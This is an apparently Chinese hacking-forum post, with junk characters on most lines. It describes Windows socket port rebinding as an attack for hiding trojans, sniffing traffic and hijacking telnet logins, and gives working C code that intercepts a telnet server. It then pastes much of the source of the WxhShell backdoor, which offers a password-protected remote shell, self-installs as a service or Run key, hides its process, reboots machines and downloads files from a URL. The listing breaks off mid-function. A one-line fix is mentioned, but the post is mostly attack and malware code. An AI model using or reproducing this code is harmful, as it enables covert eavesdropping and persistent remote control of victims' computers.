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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (`4^|_gw  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); e%N\Pshgv  
Z?[;Japg  
  saddr.sin_family = AF_INET; H|T:_*5  
&qFdP'E;$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F {]:  
@y->4`N  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q^Lj)zmnK  
3j0/&ON  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JGf6*D"O  
&529.>  
  这意味着什么?意味着可以进行如下的攻击: VZF/2d84&w  
WDKj)f9cy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 e}f!zA  
eg) =^b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }_0?S0<#  
79uL"N;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 hT^6Ifm  
n<\^&_a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  X.xp'/d  
I1kx3CwJ{P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x 3#1  
KwWqsuju  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TxwZA  
 ~MyP4x/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 /J3e[?78u  
)qD%5} t  
  #include 5bv(J  T  
  #include Uk-^n~y  
  #include jN 5Hku[?  
  #include    gnNMuqt  
  DWORD WINAPI ClientThread(LPVOID lpParam);   V8NNIS  
  int main() ;f[Ki$7  
  { 6*kY7  
  WORD wVersionRequested; 0 '~Jr\4  
  DWORD ret; 6=90 wu3  
  WSADATA wsaData; ?;+=bKw0  
  BOOL val; sL~TV([6/  
  SOCKADDR_IN saddr; Hm`9M.5b  
  SOCKADDR_IN scaddr; oj$D3  
  int err; 3w ?)H  
  SOCKET s; c>!>D7:7  
  SOCKET sc; i+Px &9o<9  
  int caddsize; KI-E=<zt  
  HANDLE mt; z >vzXM  
  DWORD tid;   it5].A&  
  wVersionRequested = MAKEWORD( 2, 2 ); r3hj GcpaX  
  err = WSAStartup( wVersionRequested, &wsaData ); c _O| ?1  
  if ( err != 0 ) { ;yY>SaQ  
  printf("error!WSAStartup failed!\n"); 3A4?9>g)KU  
  return -1; :r:5a(sq  
  }  o9#  
  saddr.sin_family = AF_INET; Dq*>+1eW2  
   ~!,'z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 '7 6}6G%  
nBaY|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sJ7r9 O`x  
  saddr.sin_port = htons(23); YQ 4;X8I`r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Bca\grA  
  { 9,82Uta  
  printf("error!socket failed!\n"); Sq UoXNw  
  return -1; '_g8fz 3  
  } jbn{5af  
  val = TRUE; Ngu+V  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :"3WCB  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *@dRL3c^=  
  { 4kT|/ bp  
  printf("error!setsockopt failed!\n"); 2hw3+ o6  
  return -1; G|'DAj%  
  } '+Gt+Gq+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '-4);:(^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 N3MMxm_u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 O%tlj@?  
ZBdZr  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $9+}$lpPd  
  { vy[*xT]  
  ret=GetLastError(); ^EjZ.#2l;  
  printf("error!bind failed!\n"); >UE_FC*u  
  return -1; EW0H"YIC  
  } r{#od 7;  
  listen(s,2); w1rB"rB?  
  while(1) e~ W35Y>A  
  { W.-[ceM  
  caddsize = sizeof(scaddr); X"y rA;,o  
  //接受连接请求 rV"<1y:g  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,@/b7BVv  
  if(sc!=INVALID_SOCKET) ;q6: *H/  
  { 2l{g$44  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ^uMy|d  
  if(mt==NULL) 9 vmH$  
  { xFHc+m' m~  
  printf("Thread Creat Failed!\n"); ;f^.7|  
  break; zW!3>(L/  
  } 3 {\b/NL$  
  } z\oq b) a  
  CloseHandle(mt); "7JO~T+v  
  } %^p1ax  
  closesocket(s); &tj0Z:  
  WSACleanup(); n9050&_S  
  return 0; ?<#6=  
  }   j7xoe9;TxI  
  DWORD WINAPI ClientThread(LPVOID lpParam) ch 4z{7   
  { 82YTd(yB  
  SOCKET ss = (SOCKET)lpParam; $s/N;E!t  
  SOCKET sc; 9-Ikd>9  
  unsigned char buf[4096]; tt{,f1v0t  
  SOCKADDR_IN saddr; .2C}8GGC'  
  long num; gv r "F  
  DWORD val; +%7yJmMw  
  DWORD ret; AGx]srl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a"b9h{h@  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ot;j6eAH~E  
  saddr.sin_family = AF_INET; F6}Pwz[c  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); DFwkd/3"  
  saddr.sin_port = htons(23); ,1Suq\ L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c;&m}ImLe.  
  { P cnr  
  printf("error!socket failed!\n"); \"V7O'S)&  
  return -1; G+=eu K2]  
  } kmi[u8iXD_  
  val = 100; ?#<Fxme  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y"]?TEd  
  { IwZn%>1N  
  ret = GetLastError(); e/6WhFN #  
  return -1; n (C*LK  
  } GL cf'$l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .LIEZ^@  
  { 0 oEw1!cY  
  ret = GetLastError(); Agl5[{]E  
  return -1; (WVN*OR?  
  } ]\v'1m"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) TF} <,aR  
  { rG:IS=  
  printf("error!socket connect failed!\n"); hWJ\dwF  
  closesocket(sc); z. VuY3  
  closesocket(ss); H\Y.l,^  
  return -1; )p~\lM}?d  
  } |<\o%89AM  
  while(1) 7Z0 )k9*  
  { qy`@\)S/5  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ih;6(5z  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `ihlKFX  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 u&I?LZ-=,  
  num = recv(ss,buf,4096,0); TKx.`Cf m  
  if(num>0) U-QK   
  send(sc,buf,num,0); O/e5LA  
  else if(num==0) L Bb&av  
  break; Cl7IP<.  
  num = recv(sc,buf,4096,0); 8+k\0fmy  
  if(num>0) !l?Go<^*L  
  send(ss,buf,num,0); (Q o  
  else if(num==0) [D[s^<RJs  
  break; h1z[ElEeoP  
  } >DBaKLu\  
  closesocket(ss); ]ctUl #j  
  closesocket(sc); 9.m_3"s  
  return 0 ; S:v]3G  
  } azr|Fz/  
%Nwap~=H;  
S)iv k x  
========================================================== D?44:'x+-  
SpdQ<]  
下边附上一个代码,,WXhSHELL EFW'D=&h8  
%C" wUAY  
========================================================== i~@e}=  
gGxgU$`#c  
#include "stdafx.h" i;s&;_0{  
'v GrbmK  
#include <stdio.h> Y#V`i K  
#include <string.h> 4`o_r%   
#include <windows.h> 3!_y@sWx  
#include <winsock2.h> *NS:X7p!V  
#include <winsvc.h> ;2(8&.  
#include <urlmon.h> S;kI\;  
&?"(al?  
#pragma comment (lib, "Ws2_32.lib") Zgkk%3'^'  
#pragma comment (lib, "urlmon.lib") M/x49qO#  
cgNK67"(  
#define MAX_USER   100 // 最大客户端连接数 v(W$\XH  
#define BUF_SOCK   200 // sock buffer s]#D;i8  
#define KEY_BUFF   255 // 输入 buffer hk3}}jc  
iBVV5 f  
#define REBOOT     0   // 重启 T6=,A }t-  
#define SHUTDOWN   1   // 关机 6{B$_Usg  
OIGu`%~js  
#define DEF_PORT   5000 // 监听端口 -GLI$_lLF  
ts`c_hH,1'  
#define REG_LEN     16   // 注册表键长度 {f((x1{HZx  
#define SVC_LEN     80   // NT服务名长度 ^q-]."W]t~  
q(p]6Ha|  
// 从dll定义API fW~r%u .y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4:.yE|@h[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {u{n b3/jl  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U$Z)v1&{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); mHrt)0\_  
>'iXwe-  
// wxhshell配置信息 L9M0vkgri  
struct WSCFG { F.i*'x0u  
  int ws_port;         // 监听端口 ~2@+#1[g8z  
  char ws_passstr[REG_LEN]; // 口令 LX[<Wh_X(  
  int ws_autoins;       // 安装标记, 1=yes 0=no @;_xFL;{g  
  char ws_regname[REG_LEN]; // 注册表键名 .K]n<+zW  
  char ws_svcname[REG_LEN]; // 服务名 "_WOt Jr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 : KhAf2A  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9_)*b  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &}_ $@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no lQj3# !1}  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R*VRxQ,h6+  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 87l(a,#J  
62TWqQ!9d  
}; [v ( \y  
Q'/v-bd?o  
// default Wxhshell configuration ZX[ @P?A+-  
struct WSCFG wscfg={DEF_PORT, /Fy2ZYs,`8  
    "xuhuanlingzhe", Tf(-Duxz  
    1, R".~{6  
    "Wxhshell", N9QHX  
    "Wxhshell", =Y Je\745  
            "WxhShell Service", h}r.(MVt  
    "Wrsky Windows CmdShell Service", U2 m86@E  
    "Please Input Your Password: ", m>B^w)&C  
  1, hg[ob+"  
  "http://www.wrsky.com/wxhshell.exe", o9& 1Ct  
  "Wxhshell.exe" hC2@Gq  
    }; m%hI@'  
d#xi_L!  
// 消息定义模块 _Cn[|E  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; luXcr H+w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0`VA} c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Mhp6,JL  
char *msg_ws_ext="\n\rExit."; @px2/x  
char *msg_ws_end="\n\rQuit."; 1ml>  
char *msg_ws_boot="\n\rReboot..."; *;@V5[^3I?  
char *msg_ws_poff="\n\rShutdown..."; W: R2e2  
char *msg_ws_down="\n\rSave to "; k|Mj|pqA  
z/Z 0cM#  
char *msg_ws_err="\n\rErr!"; qp$Td<'Y  
char *msg_ws_ok="\n\rOK!"; Qau\6p>^  
3pg_`  
char ExeFile[MAX_PATH]; xc{$=>'G  
int nUser = 0; m%au* 0p  
HANDLE handles[MAX_USER]; LgFF+z  
int OsIsNt; qM%l  
$fZVh%  
SERVICE_STATUS       serviceStatus; w6FtDl$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 3H"bivK  
v d A 3  
// 函数声明 7bJAOJ'_  
int Install(void); x h|NmZg  
int Uninstall(void); v3>jXf  
int DownloadFile(char *sURL, SOCKET wsh); 7HfA{.|m  
int Boot(int flag); L *",4!  
void HideProc(void); ${fJ]  
int GetOsVer(void); o&WKk5$  
int Wxhshell(SOCKET wsl); s.ywp{EF  
void TalkWithClient(void *cs); =, kH(rp2  
int CmdShell(SOCKET sock); >wx1M1  
int StartFromService(void); f4{O~?=  
int StartWxhshell(LPSTR lpCmdLine); tA;#yM;  
/A$mP)}tz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yvN;|R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); gLp7<gx6  
(b!`klQ  
// 数据结构和表定义 <;)qyP  
SERVICE_TABLE_ENTRY DispatchTable[] = NABVU0}   
{ nz-( 8{ae  
{wscfg.ws_svcname, NTServiceMain}, @px 4[  
{NULL, NULL} V% -wZL/  
}; =VXxQ\{  
QxUsdF?p  
// 自我安装 HYqDaRn  
int Install(void) lO)-QE+  
{ 3hUU$|^4gm  
  char svExeFile[MAX_PATH]; ]H[%PQ r`Z  
  HKEY key; ?mM6[\DFoT  
  strcpy(svExeFile,ExeFile); ; <^t)8E  
eD<Kk 4){  
// 如果是win9x系统,修改注册表设为自启动 @ootKY`  
if(!OsIsNt) { ]&;M 78^6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \M(#FS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M$L ; -T  
  RegCloseKey(key); F,F1Axf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )GgO=J:o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .MUoNk!  
  RegCloseKey(key); ..u2IdEu  
  return 0; Fh[Gq  
    } -%I 0Q  
  } uPZ<hG#K  
} 78o>UWA:  
else { Fkq;Q  
0{0A,;b  
// 如果是NT以上系统,安装为系统服务 6KpG,%2L#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); b`%(.&  
if (schSCManager!=0) 22`N(_  
{ w]-,X`  
  SC_HANDLE schService = CreateService H<YhO&D*u  
  ( 7|vB\[s  
  schSCManager, ;`CNe$y   
  wscfg.ws_svcname, T1Gy_ G/  
  wscfg.ws_svcdisp, FEoH$.4  
  SERVICE_ALL_ACCESS, ;giW  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e3YdHp  
  SERVICE_AUTO_START, I{rW+<)QGC  
  SERVICE_ERROR_NORMAL, Wa{()Cz  
  svExeFile, 85fv])\y  
  NULL, E 0k1yA  
  NULL, WJXQM[  
  NULL, !`UHr]HJ  
  NULL, %+A z X  
  NULL %BV 2 q  
  ); <Oyxzs  
  if (schService!=0) :f9O3QA  
  { iD/r8_}  
  CloseServiceHandle(schService); 0qdgt  
  CloseServiceHandle(schSCManager); heF<UMI  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QAI!/bB  
  strcat(svExeFile,wscfg.ws_svcname); \@%sX24D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~-dL #;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sPKyg  
  RegCloseKey(key); u=mJI*  
  return 0; Z,x9 {  
    } ~C;1}P%9x  
  } %b)~K|NEFf  
  CloseServiceHandle(schSCManager); W5#5RK"uX  
} ga#Yd}G^~3  
} O7KR~d  
 ~wX4j  
return 1; v<2B^(i}VB  
} h3z=tu['  
xQKD1#y  
// 自我卸载 }zK/43Vx  
int Uninstall(void) P#8 ]m(  
{ jT6zpi~]E  
  HKEY key; 9S _N*wC.  
T@. $Zpz  
if(!OsIsNt) { q1d'L *   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x?|C-v  
  RegDeleteValue(key,wscfg.ws_regname); c[a1 Md&  
  RegCloseKey(key); 9F*],#ng  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X*cf|g  
  RegDeleteValue(key,wscfg.ws_regname); 1!;}#m7v  
  RegCloseKey(key); a%h'utF{[  
  return 0; pPezy:  
  } l}Fa-9_'  
} ;4g_~fB  
} #9Fe,  
else { OP-%t\sj>  
/p&)bL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @|2}*_3\  
if (schSCManager!=0) (ex^=fv  
{ GA8cA)]zOD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ul EP;  
  if (schService!=0) k*;2QED  
  { rX8EXraO  
  if(DeleteService(schService)!=0) { ilyQ gEjC  
  CloseServiceHandle(schService); l imzDQ^  
  CloseServiceHandle(schSCManager); 1f.xZgO/2  
  return 0; ^edg@fp  
  } BhMHT :m  
  CloseServiceHandle(schService);  W1@Q)i  
  } 9hG+?   
  CloseServiceHandle(schSCManager); YBX7WZCR  
} i"rrM1/r  
} 0H V-e  
CwV1~@{-  
return 1; Z_^v#FJ'l  
} C~5-E{i  
u D.E>.B  
// 从指定url下载文件 ;-G!jWt6Zi  
int DownloadFile(char *sURL, SOCKET wsh) qwb`8o  
{ 7 %P?3  
  HRESULT hr; ]/d4o  
char seps[]= "/"; <?TJ-   
char *token; &<u pjb  
char *file; vd5"phn 3  
char myURL[MAX_PATH]; us.+nnd  
char myFILE[MAX_PATH]; N1V qK  
|sw&sfH[FD  
strcpy(myURL,sURL); AR}M*sSh  
  token=strtok(myURL,seps); `B`/8Cvg  
  while(token!=NULL) :*2+t-  
  { l; e&p${P  
    file=token; lRn6Zh  
  token=strtok(NULL,seps); v!;E1  
  } t `4^cd5V  
]c8$%  
GetCurrentDirectory(MAX_PATH,myFILE); 9iQcK&D 2  
strcat(myFILE, "\\"); RfT#kh/5  
strcat(myFILE, file); h&!k!Su3#  
  send(wsh,myFILE,strlen(myFILE),0); "~h.u  
send(wsh,"...",3,0); aBM'ROQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,x+_/kqx  
  if(hr==S_OK) ax0:v!,e  
return 0; |U_48  
else y\ nR0m  
return 1; C { }s  
4*UoTE-g$  
} ifu "e_^  
l|-TGjsX  
// 系统电源模块  X7sWu{n  
int Boot(int flag) tPS.r.0#^  
{ MwxfTH"wi  
  HANDLE hToken; z]k=sk  
  TOKEN_PRIVILEGES tkp; Ne]/ sQ0  
; y#6Nx,:  
  if(OsIsNt) { 6TE R Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yG0Wr=/<?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mI=^7 'Mk  
    tkp.PrivilegeCount = 1; b'$j* N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;8~`fK  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); XR^VRn6O  
if(flag==REBOOT) { A a2*f[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) sz.(_{5!  
  return 0; blZiz2F  
} (n-8p6x(  
else { lLHHuQpuj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S^ ?OKqS  
  return 0; 5eC5oX>  
} +q]  
  } a9GOY+;bf  
  else { b`n+[UCPtn  
if(flag==REBOOT) { ]xfAdBi  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JF*JF Ob  
  return 0; F9e$2J)C  
} W%09.bF  
else { ]lF'o&v]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %E7+W{?*1  
  return 0; US)wr  
} DYH-5yX7  
} z9$x9u  
VEd#LSh  
return 1; O0"i>}g4  
} 1h\:Lj  
oKTIoTb  
// win9x进程隐藏模块 0D>~uNcT}  
void HideProc(void) }H{{@RU  
{ 1vu4}%nD  
h*hV  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yXNE2K  
  if ( hKernel != NULL ) pFSVSSQRV|  
  { <Ebkb3_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); hQBeM7$F_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  Be2@9  
    FreeLibrary(hKernel); Ms(;B*  
  } kq:,}fc;B  
@hm %0L  
return; TE*$NxQ 2  
} 0+8ThZ?n  
%_1~z[Dv  
// 获取操作系统版本 kTex>1W;  
int GetOsVer(void) *6Rl[eXS  
{ 'N5qX>Ob  
  OSVERSIONINFO winfo; 1 X2oz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C[r YVa .  
  GetVersionEx(&winfo); Y[T;j p(k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ii*v(`2b  
  return 1; )?pin|_x  
  else hzPx8sO  
  return 0; 5vY h~|  
} scqG$~O)  
1q~U3'l:$  
// 客户端句柄模块 iTD}gC  
int Wxhshell(SOCKET wsl) ~>D;2 S(a  
{ d"XS;;l%<  
  SOCKET wsh; 5]; 8  
  struct sockaddr_in client; ;k7` `  
  DWORD myID; xbo-~{  
g$dL5N7  
  while(nUser<MAX_USER) VR_+/,~  
{ 7^KQQ([  
  int nSize=sizeof(client); $EviGZFAaR  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~<v.WP<:  
  if(wsh==INVALID_SOCKET) return 1; wXZ.D}d  
yixW>W}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lIzJO$8cM  
if(handles[nUser]==0) [p!C+ |rro  
  closesocket(wsh); gKb4n Nt  
else ^Sy\<  
  nUser++; l$,l3  
  } *&UVr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); y%TR2CvT  
Jkm\{;  
  return 0; <l wI|<  
} q9WdJ!-^X  
RO wbzA)]r  
// 关闭 socket l,*Q?q  
void CloseIt(SOCKET wsh) >Fx$Rty  
{ < q; ]  
closesocket(wsh); ; tvB{s_  
nUser--; EemKYcE@Nr  
ExitThread(0); %/etoK  
} |,dMF2ADc  
tt J,rM  
// 客户端请求句柄 G:WMocyXI'  
void TalkWithClient(void *cs) ]N=C%#ki!  
{ `y YgL@Zt  
Oku4EJFJ  
  SOCKET wsh=(SOCKET)cs; m3_e]v3{o  
  char pwd[SVC_LEN]; P603P  
  char cmd[KEY_BUFF]; >+vWtO 2  
char chr[1]; :1Fm~'  
int i,j; B"KsYB79t  
Q=PaTh   
  while (nUser < MAX_USER) { U"m!f*a  
kP;:s  
if(wscfg.ws_passstr) { (= !_ 5l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XZ|"7as  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n#J$=@  
  //ZeroMemory(pwd,KEY_BUFF); crgYr$@s?  
      i=0; [b#jw,7  
  while(i<SVC_LEN) {  b 1[U 9  
5)$U<^uy  
  // 设置超时 /=e[(5X|O  
  fd_set FdRead; sWavxh8A  
  struct timeval TimeOut; n+Ag |.,|  
  FD_ZERO(&FdRead); m qw!C  
  FD_SET(wsh,&FdRead); 7vj[ AOq3l  
  TimeOut.tv_sec=8; f6|3| +  
  TimeOut.tv_usec=0; iU%Gvf^?'5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =l7LEkR  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sM5 w~R>Y  
^G2vA8%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3l L:vD5(  
  pwd=chr[0]; M0]l!x#7  
  if(chr[0]==0xd || chr[0]==0xa) { 6J|f^W-fs  
  pwd=0; KG3*~G  
  break; =JVRm 2#*  
  } IB!Wrnj?  
  i++; 2WUBJ-qnuT  
    } |%RFXkHS  
GU[ Cq=k  
  // 如果是非法用户,关闭 socket `=KrV#/758  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zi-+@9T  
} 0a'@J~v!  
~!&[;EM<bm  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A+F-r_]}db  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yPQ{tS*t  
+'n1?^U  
while(1) { /pk; E$qv  
e0$mu?wd-  
  ZeroMemory(cmd,KEY_BUFF); bR8)s{p6  
SD.ze(P  
      // 自动支持客户端 telnet标准   OT *W]f  
  j=0; /Hx0=I  
  while(j<KEY_BUFF) { w`7l ;7[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c=b\9!hr_E  
  cmd[j]=chr[0]; ^_=0.:QaW  
  if(chr[0]==0xa || chr[0]==0xd) { O,OGq0c  
  cmd[j]=0; ;XtDz  
  break; ]cA~%$c89s  
  } I9Sh~vTm=u  
  j++; ~o2{Wn["  
    } %qE#^ U  
?x[>g!r  
  // 下载文件 { a_L /"7  
  if(strstr(cmd,"http://")) { -{7N]q)}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &&y@/<t  
  if(DownloadFile(cmd,wsh)) {(q U n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bhs`Y/Ls-  
  else )?xt=9Lh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F"F(s!  
  } /Z@.;M  
  else { <Q kfvK]Q  
|n|2)hC  
    switch(cmd[0]) { }>1E,3A:%G  
  eS.]@ E-T  
  // 帮助 A"k,T7B  
  case '?': { j?mJ1J5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W ,U'hk%  
    break; NkJ^ecn%)  
  } y(S0 2v>l  
  // 安装 Z0:BXtW  
  case 'i': { Grub1=6l  
    if(Install()) 0jzA\$oD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]e3nnS1*.  
    else w[+!c-A:H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5;Z~+$1  
    break; ""a8eB 6  
    } xD#/@E1'Y  
  // 卸载 .iYgRW=T  
  case 'r': { @t^ 2/H ?O  
    if(Uninstall()) <|_Ey)1 6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JQ1VCG  
    else >I!(CM":s$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zc{C+:3$^  
    break; "D/ fB%h`  
    } 8`~]9ej  
  // 显示 wxhshell 所在路径 4HHf3j!5  
  case 'p': { k^]~NP  
    char svExeFile[MAX_PATH]; ;i:7E#@  
    strcpy(svExeFile,"\n\r"); ' #mC4\<W8  
      strcat(svExeFile,ExeFile); FV9RrI2  
        send(wsh,svExeFile,strlen(svExeFile),0); }*t~&l0  
    break; cs5Xd  
    } p~b$+8#+  
  // 重启 w '"7~uN  
  case 'b': { Mzd}9x$'J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :W&\})  
    if(Boot(REBOOT)) {h=Ai[|l4Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?7+ 2i\L  
    else { [~o3S$C&7  
    closesocket(wsh); -+=8&Wa  
    ExitThread(0); Ygl!fC 4b  
    } X ,   
    break; gn%"dfm  
    } 6{~I7!m"  
  // 关机 DIRCP=5  
  case 'd': { <f6Oj`{f4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); O`=Uq0Vv  
